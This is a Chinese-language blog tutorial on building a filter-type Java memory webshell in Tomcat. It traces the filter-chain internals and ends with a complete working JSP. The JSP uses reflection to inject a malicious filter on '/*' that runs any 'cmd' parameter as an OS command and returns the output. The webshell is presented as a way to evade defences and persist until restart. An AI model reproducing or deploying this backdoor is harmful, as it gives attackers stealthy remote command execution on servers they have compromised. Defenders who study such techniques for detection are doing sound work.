前言
最近想研究一下Java内存马,由于现在各种防护措施越来越多,内存马因其隐蔽性等优点从而越来越盛行。
内存马的分类
- servlet-api类 分为filter型和servlet型
- spring类 分为拦截器和controller型
- 使用 java agent 技术写入字节码
Filter型内存马
从这张图中可以看出,在servlet处理消息的时候,我们可以通过设置一些filter来对用户请求做一些过滤。
所以我们可以通过对filter中添加恶意代码,导致命令执行。
Tomcat Filter 流程分析
首先在IDEA中创建Servlet,通过这篇文章http://wjlshare.com/archives/1529
首先创建普通servlet
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/TestServlet")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("my first servlet");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
}
}
然后我们创建filter
import javax.servlet.*;
import java.io.IOException;
public class filterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}
然后再web.xml中注册我们的filter。
然后这样就可以触发我们的filter
几个会遇到的类
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
filter调用过程分析
首先在StandardWrapperValve#invoke
中
会利用ApplicationFilterFactory
来创建filterChain,我们跟进一下。
然后会从context中获得filterMaps
这里返回了过滤器的名字以及作用的url。
继续往下跟,发现会遍历FilterMaps中的FilterMap方法。
如果发现当前的url请求和FilterMap相配,那么就会调用findFilterConfig
在 filterConfigs
中寻找对应 filterName
名称的 FilterConfig
,然后如果不为null,就进入 if 判断,将 filterConfig
添加到 filterChain
中,跟进addFilter
函数
在addFilter
函数中首先会遍历filters
,判断我们的filter
是否已经存在(其实就是去重)
然后下面这个if就是扩容,如果n等于当前filters长度就添加10个容量。最后将filterConfig添加到filters中。
至此filterChain
赋值完毕。
然后继续往下跟,到doFilter
方法这里
这里就会调用Filter链上的doFilter方法。
在 doFilter 方法中会调用 internalDoFilter方法
在这个方法中首先会循环取出filterConfig,然后会调用getFilter()将filter从filterConfig中取出,调用filter的doFilter方法。
然后就调用了
放一张宽字节安全的图片
总结一下就是:
1.先从Context中(也就是web.xml)中获取filterMaps。filterMaps里面存放了过滤器的名字以及url。
2.判断当前访问url是否与filterMap中的url相匹配。给 filterConfig赋值。顺便添加到filterChain中
3.然后调用filterChain的doFilter方法。最终调用到我们设置的doFilter方法
所以,内存马其实就是自己创建一个FilterMap放在最前面,这样当匹配的时候就会去找到对应的FilterName和FilterConfig。添加到FilterChain中,触发内存shell。
内存马注入
参考https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w
注入内存马实际上是模拟了在web.xml中写配置的过程,两者是一一对应的。 只要我们把上述的操作用代码复现出来,那么就能达到注入内存马的效果。
实现步骤
综上所述,如果要实现filter型内存马要经过如下步骤:
- 创建恶意filter
- 用filterDef对filter进行封装
- 将filterDef添加到filterDefs跟filterConfigs中
- 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中
要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。
这里我们使用requset内置对象
如果没有request对象的话可以从当前线程中获取
https://zhuanlan.zhihu.com/p/114625962
从MBean中获取
https://scriptboy.cn/p/tomcat-filter-inject/
内存马
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "yang_99";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>